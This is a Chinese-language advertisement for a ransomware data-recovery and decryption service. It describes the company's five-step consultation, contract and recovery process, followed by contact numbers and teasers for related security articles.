多年的数据恢复处理经验,在不断对客户服务优化的过程中搭建了"免费售前+安心保障+专业恢复+安全防御"一体化的专业服务流程。
① 免费咨询/数据诊断分析
       专业的售前技术顾问服务,免费在线咨询,可第一时间获取数据中毒后的正确处理措施,防范勒索病毒在内网进一步扩散或二次执行,避免错误操作导致数据无法恢复。
       售前技术顾问沟通了解客户的机器中毒相关信息,结合团队数据恢复案例库的相同案例进行分析评估,初步诊断分析中毒数据的加密/损坏情况。
② 评估报价/数据恢复方案
       您获取售前顾问的初步诊断评估信息后,若同意进行进一步深入的数据恢复诊断,我们将立即安排专业病毒分析工程师及数据恢复工程师进行病毒逆向分析及数据恢复检测分析。
       专业数据恢复工程师根据数据检测分析结果,定制数据恢复方案(恢复价格/恢复率/恢复工期),并为您解答数据恢复方案的相关疑问。
③ 确认下单/签订合同
       您清楚了解数据恢复方案后,您可自主选择以下下单方式:
双方签署对公合同:根据中毒数据分析情况,量身定制输出数据恢复合同,合同内明确客户的数据恢复内容、数据恢复率、恢复工期及双方权责条款,双方合同签订,正式进入数据恢复专业施工阶段,数据恢复后进行验证确认,数据验证无误,交易完成。
④ 开始数据恢复专业施工
      安排专业数据恢复工程师团队全程服务,告知客户数据恢复过程注意事项及相关方案措施,并可根据客户需求及数据情况,可选择上门恢复/远程恢复。
      数据恢复过程中,团队随时向您报告数据恢复每一个节点工作进展(数据扫描 → 数据检测 → 数据确认 → 恢复工具定制 → 执行数据恢复 → 数据完整性确认)。
⑤ 数据验收/安全防御方案
      完成数据恢复后,我司将安排数据分析工程师进行二次检查确认数据恢复完整性,充分保障客户的数据恢复权益,二次检测确认后,通知客户进行数据验证。
      客户对数据进行数据验证完成后,我司将指导后续相关注意事项及安全防范措施,并可提供专业的企业安全防范建设方案及安全顾问服务,抵御勒索病毒再次入侵。

   我们在此郑重承诺:

不成功不收费

全程一对一服务

365天不间断服务

免费提供安全方案

  24h服务热线:

18894665383

17864099776

18299173318

请输入图片描述

文章来源

https://mp.weixin.qq.com/s/n4ScvUpwMNO9VnCEkWTaCQ

相关阅读

  • 刷脸支付真的安全吗?

    现在支付除了扫码支付之外,使用最多的就是刷脸支付了,但刷脸安全吗? “刷脸”支付系统是一款基于脸部识别系统的支付平台,该系统不需要钱包、信用卡或手机,支付时只需要面对POS机屏幕上的摄像头,系统会自动将消费者面部信息与个人账户相关联,整个交易过程十分便捷。 伴随着人脸识别技术的日渐成熟,“刷脸…

  • 常见的计算机网络攻击知识

    在网络快速发展的同时,网络安全威胁也越来越严重,网络攻击的规模和复杂性逐年上升,造成的影响越来越大,所以更需要重视网络安全问题。 网络攻击的种类有: 主动攻击,会导致某些数据流的篡改和虚假数据流的产生;这类攻击可分为篡改、伪造消息数据和终端,拒绝服务。被动攻击,通常包括窃听、流量分析、破解弱…

  • 企业和个人用户该如何应对勒索病毒?

    勒索病毒再度成为全球焦点。5月10日,美国最大的成品油管道运营商Colonial Pipeline受到勒索软件攻击,被迫关闭其美国东部沿海各州供油的关键燃油网络。事实上,这并不是偶然,自从2017年WannaCry席卷全球以来,勒索病毒已经成为全球性的安全难题。  尽管2021年上半年相比去年同时期,勒索病毒的攻击态势稍…

勒索病毒文件恢复,密钥破解,后续防御
数据恢复热线:15325986998
地址:山东省济南市市中区二环南路科创大厦
邮箱:solar@sierting.com
服务热线:15325986998
服务热线:17864099776
服务热线:18299173318